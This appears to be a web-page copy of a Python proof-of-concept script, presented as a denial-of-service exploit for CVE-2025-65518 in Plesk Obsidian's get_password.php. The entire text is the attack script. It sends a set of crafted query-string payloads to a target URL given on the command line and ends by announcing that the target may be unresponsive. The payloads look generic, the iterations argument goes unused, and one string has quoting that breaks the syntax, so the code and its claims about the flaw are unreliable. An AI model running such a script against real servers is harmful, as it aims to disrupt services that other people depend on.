Plesk Obsidian get_password.php拒绝服务漏洞(CVE-2025-65518)

import requests import sys # CVE-2025-65518 PoC - Plesk Obsidian DoS # Target: Plesk Obsidian versions 8.0.1 - 18.0.73 # Endpoint: /get_password.php def exploit_cve_2025_65518(target_url, iterations=10): """ Denial of Service exploit for CVE-2025-65518 Args: target_url: Base URL of vulnerable Plesk Obsidian instance iterations: Number of malicious requests to send """ endpoint = f"{target_url.rstrip('/')}/get_password.php" # Malicious payloads that trigger DoS condition payloads = [ "?param=%(while(true)){}", "?data=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", "?input={"type":"recursive_payload"}", "?query=<script>while(1){{}}</script>", ] print(f"[*] Targeting: {target_url}") print(f"[*] Exploiting CVE-2025-65518...") for i, payload in enumerate(payloads, 1): url = endpoint + payload print(f"[*] Sending payload {i}/{len(payloads)}: {payload[:50]}...") try: headers = { 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2025-65518-PoC)', 'Accept': '*/*' } response = requests.get(url, headers=headers, timeout=10) print(f"[+] Request sent - Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") print("[*] DoS attack completed. Target may be unresponsive.") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url> [iterations]") print(f"Example: python {sys.argv[0]} https://plesk-server:8443 10") sys.exit(1) target = sys.argv[1] iterations = int(sys.argv[2]) if len(sys.argv) > 2 else 10 exploit_cve_2025_65518(target, iterations)